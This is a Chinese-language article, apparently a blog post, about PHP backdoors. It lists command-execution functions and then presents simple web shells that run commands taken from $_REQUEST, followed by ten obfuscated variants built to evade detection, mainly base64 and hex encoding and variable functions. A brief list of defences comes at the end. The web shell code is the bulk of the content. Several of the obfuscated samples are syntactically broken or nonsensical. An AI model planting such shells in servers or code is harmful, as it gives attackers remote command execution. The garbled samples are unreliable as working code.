有趣的PHP后门
字数 1476 2025-08-26 22:11:22

PHP后门技术深度解析

前言

本文详细解析PHP后门技术的各种实现方式,重点围绕全局变量GETPOSTREQUEST的使用,以及如何通过编码、混淆等手段绕过常规检测。

常用命令执行函数

1. shell_exec

  • 功能: 通过shell执行命令并返回完整输出字符串
  • 语法: string shell_exec (string $cmd)
  • 示例:
    php -r 'shell_exec("ls -la");'
    

2. system

  • 功能: 执行外部程序并显示输出
  • 语法: string system (string $command [, int &$return_var])
  • 示例:
    php -r 'system("ls -la");'
    

3. exec

  • 功能: 执行外部程序
  • 语法: string exec (string $command [, array &$output [, int &$return_var]])
  • 示例:
    php -r 'exec("ls -la", $var); print_r($var);'
    

4. passthru

  • 功能: 执行外部程序并显示原始输出
  • 语法: void passthru (string $command [, int &$return_var])
  • 示例:
    php -r 'passthru("ls -la", $var);'
    

基础后门实现

简单实现方式

// shell_exec实现
if(isset($_REQUEST['cmd'])) {
    $cmd = shell_exec($_REQUEST['cmd']);
    print_r($cmd);
}

// system实现
if(isset($_REQUEST['cmd'])) {
    system($_REQUEST['cmd']);
}

// exec实现
if(isset($_REQUEST['cmd'])) {
    exec($_REQUEST['cmd']);
}

// passthru实现
if(isset($_REQUEST['cmd'])) {
    passthru($_REQUEST['cmd']);
}

高级混淆技术

技术要点

  1. 在固定值中使用shellcode
  2. 不加节制地使用数组
  3. 本地函数的连接和变量的定义
  4. 使用base64_decodebin2hex等编码函数
  5. 使用error_reporting(0)关闭错误报告
  6. 利用系统已存在的请求(GET或POST)
  7. 研究恶意属性在系统类中的创建
  8. 处理全局变量$_SERVER的值
  9. 研究PHP格式CMS文件的感染方法

示例解析

示例01: 使用base64编码混淆

(error_reporting(0);
base64_decode("c3lzdGVt")(
    base64_decode("aWQ=")
);
define("_", "dW5hbWUgLWE7bHM7");
base64_decode(_);
exit);
  • c3lzdGVt = "system"
  • dW5hbWUgLWE7bHM7 = "uname -a; ls;"
  • aWQ= = "id"

示例02: 条件执行

(error_reporting(0);
base64_decode("c3lzdGVt")(
    isset($_REQUEST[0]) ? $_REQUEST[0] : NULL
);
exit);
  • 通过$_REQUEST[0]接收命令

示例03: 使用create_function

(error_reporting(0);
$_REQUEST[0](
    create_function('$_', base64_decode("ZWNobyhzaGVsbF9leGVjKCRfKSk7"))
);
exit);
  • ZWNobyhzaGVsbF9leGVjKCRfKSk7 = "echo(shell_exec($_));"

示例04: 变量函数

(error_reporting(0);
$_GET[1]($_GET[2]);
exit);
  • $_GET[1] = 函数名
  • $_GET[2] = 要执行的命令

示例05: extract与get_defined_vars

(error_reporting(0);
extract($_REQUEST, EXTR_PREFIX_ALL);
get_defined_vars()['_REQUEST'](
    define($_REQUEST[1], $_REQUEST[2])
);
exit);

示例06: 利用HTTP_USER_AGENT

(error_reporting(0);
explode($_SERVER[base64_decode('SFRUUF9VU0VSX0FHRU5U')], 0)[1];
exit);
  • SFRUUF9VU0VSX0FHRU5U = "HTTP_USER_AGENT"

示例07: 十六进制编码

(error_reporting(0);
$_GET["\x30"](
    $_GET["\x73"].
    $_GET["\x79"].
    $_GET["\x6D"].
    $_GET["\x65"].
    $_GET["\x74"]
);
exit);
  • \x30 = "0"
  • \x73 = "s"
  • \x79 = "y"
  • \x6D = "m"
  • \x65 = "e"
  • \x74 = "t"

示例08: str_replace混淆

(error_reporting(0);
str_replace('s', '#', 's')(
    $_REQUEST[0]
);
exit);

示例09: POST请求混淆

(error_reporting(0);
("\x73\x79")("\x74\x65\x6D")(
    "\x73\x68\x65\x6C", "\x6C\x72\x6F\x78", 
    $_POST[$_[1].$_[2]]
);
exit);

示例10: 非字母数字混淆

$_[0] = "Array";
$_[1] = "E";
$_[2] = "M";
$_[3] = "S";
$_[4] = "T";
$_[5] = "Y";

($_[2].$_[4].$_[2].$_[3].$_[0].$_[1])('id; uname -a');
// 极简版本:
($_[2].$_[4].$_[2].$_[3].$_[0].$_[1])('id; uname -a');

防御措施

  1. 禁用危险函数: 在php.ini中禁用shell_execsystemexecpassthru等函数
  2. 输入验证: 对所有用户输入进行严格过滤
  3. 文件监控: 定期检查服务器文件是否有可疑修改
  4. 最小权限原则: Web服务器用户应具有最小必要权限
  5. 使用Web应用防火墙(WAF)
  6. 定期更新PHP版本和安全补丁

参考资源

  1. PHP执行运算符
  2. PHP变量函数
  3. exec函数文档
  4. shell_exec函数文档
  5. system函数文档
  6. passthru函数文档
  7. get_defined_vars函数文档
  8. extract函数文档
  9. create_function函数文档
  10. $_SERVER变量文档
PHP后门技术深度解析 前言 本文详细解析PHP后门技术的各种实现方式,重点围绕全局变量 GET 、 POST 、 REQUEST 的使用,以及如何通过编码、混淆等手段绕过常规检测。 常用命令执行函数 1. shell_ exec 功能 : 通过shell执行命令并返回完整输出字符串 语法 : string shell_exec (string $cmd) 示例 : 2. system 功能 : 执行外部程序并显示输出 语法 : string system (string $command [, int &$return_var]) 示例 : 3. exec 功能 : 执行外部程序 语法 : string exec (string $command [, array &$output [, int &$return_var]]) 示例 : 4. passthru 功能 : 执行外部程序并显示原始输出 语法 : void passthru (string $command [, int &$return_var]) 示例 : 基础后门实现 简单实现方式 高级混淆技术 技术要点 在固定值中使用shellcode 不加节制地使用数组 本地函数的连接和变量的定义 使用 base64_decode 、 bin2hex 等编码函数 使用 error_reporting(0) 关闭错误报告 利用系统已存在的请求(GET或POST) 研究恶意属性在系统类中的创建 处理全局变量 $_SERVER 的值 研究PHP格式CMS文件的感染方法 示例解析 示例01: 使用base64编码混淆 c3lzdGVt = "system" dW5hbWUgLWE7bHM7 = "uname -a; ls;" aWQ= = "id" 示例02: 条件执行 通过 $_REQUEST[0] 接收命令 示例03: 使用create_ function ZWNobyhzaGVsbF9leGVjKCRfKSk7 = "echo(shell_ exec($_ ));" 示例04: 变量函数 $_GET[1] = 函数名 $_GET[2] = 要执行的命令 示例05: extract与get_ defined_ vars 示例06: 利用HTTP_ USER_ AGENT SFRUUF9VU0VSX0FHRU5U = "HTTP_ USER_ AGENT" 示例07: 十六进制编码 \x30 = "0" \x73 = "s" \x79 = "y" \x6D = "m" \x65 = "e" \x74 = "t" 示例08: str_ replace混淆 示例09: POST请求混淆 示例10: 非字母数字混淆 防御措施 禁用危险函数: 在php.ini中禁用 shell_exec 、 system 、 exec 、 passthru 等函数 输入验证: 对所有用户输入进行严格过滤 文件监控: 定期检查服务器文件是否有可疑修改 最小权限原则: Web服务器用户应具有最小必要权限 使用Web应用防火墙(WAF) 定期更新PHP版本和安全补丁 参考资源 PHP执行运算符 PHP变量函数 exec函数文档 shell_ exec函数文档 system函数文档 passthru函数文档 get_ defined_ vars函数文档 extract函数文档 create_ function函数文档 $_ SERVER变量文档